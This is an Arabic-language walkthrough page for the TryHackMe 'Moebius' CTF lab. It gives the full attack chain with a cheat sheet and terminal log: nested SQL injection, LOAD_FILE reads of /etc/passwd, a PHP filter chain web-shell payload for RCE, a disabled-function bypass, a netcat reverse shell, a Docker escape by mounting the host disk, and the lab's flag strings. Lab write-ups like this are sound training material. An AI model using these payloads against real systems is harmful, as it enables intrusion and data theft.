Lab: Moebius | STY IT Labs
STY IT Labs · TryHackMe · Medium CTF

Lab: Moebius
SQLi → LFI → RCE → Docker Escape

تحدي متعدد المراحل — SQLi متداخل يقود لـ LFI، ثم PHP Filters Chain لـ RCE داخل Docker، وأخيراً هروب من الـ Container للـ Host.

Medium Difficulty SQL Injection LFI PHP Filters Chain Docker Escape RCE
SQL' LFI RCE Docker Escape MOEBIUS
Medium
3 – 5 ساعات
4 مهام
5 مراحل
TryHackMe
Linux + Docker

عن اللاب

سلسلة الاستغلال الكاملة
SQLi LFI PHP Filter Chain RCE Docker Shell Host Escape DB Root Flag 🏆

Moebius — "مكان تبدأ منه وعليك العودة إليه في النهاية". اللاب ده مبني على موقع صور قطط اسمه Image Grid، بيعرض الصور عبر album.php وimage.php.

الثغرة الأساسية هي SQL Injection متداخل (Nested SQLi) في الـ hash parameter بيسمح بـ Local File Inclusion (LFI)، ثم بـ PHP Filters Chain نحوّل الـ LFI لـ Remote Code Execution داخل Docker container. الخروج من الـ Container بيكون عبر mount الـ host filesystem. الـ root flag مخبي في قاعدة البيانات!

اللاب ده يتطلب معرفة بـ SQLi وLFI — مش مناسب للمبتدئين الكامل. ننصح بحل OWASP Top 10 أولاً.

Moebius Badge

أكمل الـ chain الكاملة من SQLi للـ root flag في قاعدة البيانات

مسار الهجوم التفصيلي

1

Recon — Nmap على port 22 + 80

SSH مقفول · HTTP Apache 2.4.62 · موقع "Image Grid" لصور القطط · فحص /album.php و/image.php

port 22 SSHport 80 Apache
2

Discover SQLi في hash parameter

الـ image.php بياخد hash وpath — الـ hash vulnerable لـ SQL Injection: الـ query بتشيل hash من الـ DB وبتستخدمه في query تانية (Nested SQLi)

Nested SQLihash parameter
3

SQLi → LFI عبر LOAD_FILE

استغلال الـ SQLi لقراءة ملفات الـ server بـ MySQL LOAD_FILE() → نقرأ /etc/passwd وملفات الـ source code

LOAD_FILE()/etc/passwd
4

LFI → RCE بـ PHP Filters Chain

استخدام php://filter/convert.* chain لإنشاء PHP code من الصفر بدون ملف موجود → RCE كامل

php://filter chainphp_filter_chain_generator
5

Bypass Disabled Functions → Reverse Shell

PHP بيبلوك exec/system — استخدام proc_open أو pcntl_exec كـ bypass → reverse shell داخل Docker container

proc_open bypassDocker container shell
6

Docker Escape — Mount Host Filesystem

داخل الـ container: mount الـ host disk على /mnt → اقرأ SSH keys أو أضف backdoor → اتصل بالـ host مباشرة → user flag

fdisk -l → mountuser.txt 🏆
7

Root Flag في قاعدة البيانات

الـ root flag مش في filesystem — هو في الـ secrets table في MySQL: SELECT * FROM secrets;

MySQL secrets table 🏆

مراحل اللاب

Web Recon
SQLi Nested
LFI via SQLi
PHP Filter RCE
Docker Escape
DB Root Flag 🏆

Commands Cheat Sheet

الأمر / الـ Payloadالوصفالمرحلة
nmap -sCV -p 22,80 moebius.thmفحص الـ ports الأساسيةRecon
/image.php?hash=...&path=...نقطة الـ SQLi الرئيسيةSQLi
' UNION SELECT LOAD_FILE('/etc/passwd') -- -LFI عبر LOAD_FILE في MySQLLFI
python3 php_filter_chain_generator.py --chain '<?php system($_GET[cmd])?>'توليد PHP Filter Chain للـ RCERCE
php://filter/convert.../resource=php://tempالـ filter chain URL في الـ requestRCE
proc_open("cmd", array(...))Bypass disabled functionsBypass
fdisk -lاكتشاف الـ host disk داخل ContainerDocker
mount /dev/xvda1 /mntmount الـ host filesystemDocker
SELECT * FROM secrets;قراءة الـ root flag من قاعدة البياناتFlag

المهام والأسئلة

Task 1 — Deploy & Setup

Deploy machine · Add moebius.thm to /etc/hosts · nmap scan

+10 XP

Task 2 — SQLi & LFI

Discover hash SQLi · LOAD_FILE /etc/passwd · read source code

+100 XP
03

Task 3 — RCE & Shell

PHP filter chain generator · bypass disabled funcs · reverse shell → Docker

+120 XP
04

Task 4 — Escape & Flags

Mount host disk · user flag · MySQL secrets → root flag

+120 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Moebius Full Chain

root@kali — Moebius CTF
# ── Recon ────────────────────────────────────
└─# nmap -sCV -p 22,80 moebius.thm
80/tcp open http Apache 2.4.62 · "Image Grid"

# ── SQLi → LFI ───────────────────────────────
# Discover nested SQLi in hash parameter
└─# curl "http://moebius.thm/image.php?hash=' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- -&path=img"
root:x:0:0:root:/root:/bin/bash ...

# ── PHP Filter Chain → RCE ───────────────────
└─# python3 php_filter_chain_generator.py --chain '<?php proc_open($_GET[c],array(...),...);?>'
php://filter/convert.base64-decode|convert...resource=php://temp

# ── Reverse Shell inside Docker ──────────────
└─# nc -lvnp 4444
Listening on 0.0.0.0:4444
Connection from 10.10.X.X
www-data@container:/$ hostname
docker-moebius-app

# ── Docker Escape ────────────────────────────
www-data@container:/$ fdisk -l | grep xvda
/dev/xvda1 ... Linux filesystem
www-data@container:/$ mount /dev/xvda1 /mnt && cat /mnt/home/user/user.txt
THM{d0ck3r_3sc4p3d}

# ── Root Flag in MySQL ───────────────────────
mysql> SELECT * FROM secrets;
THM{sql1_w4s_th3_k3y}

└─#

المهارات المكتسبة

SQL Injection (Nested)
LFI via LOAD_FILE
PHP Filter Chain
RCE via LFI
Disabled Func Bypass
Docker Escape
Container Enumeration
MySQL Data Exfiltration

الأدوات المستخدمة

nmapPort & Service Discovery
Burp Suiteاختبار وتعديل الـ requests يدوياً
sqlmapأتمتة استغلال الـ SQLi
php_filter_chain_generatorتوليد PHP Filter Chains للـ RCE
netcat (nc)استقبال الـ reverse shell
fdisk + mountاكتشاف وـ mount الـ host disk
استخدم Burp Suite لفهم الـ requests بالكامل — الـ SQLi فيه nested queries صعبة تشتغل عليها بدون proxy.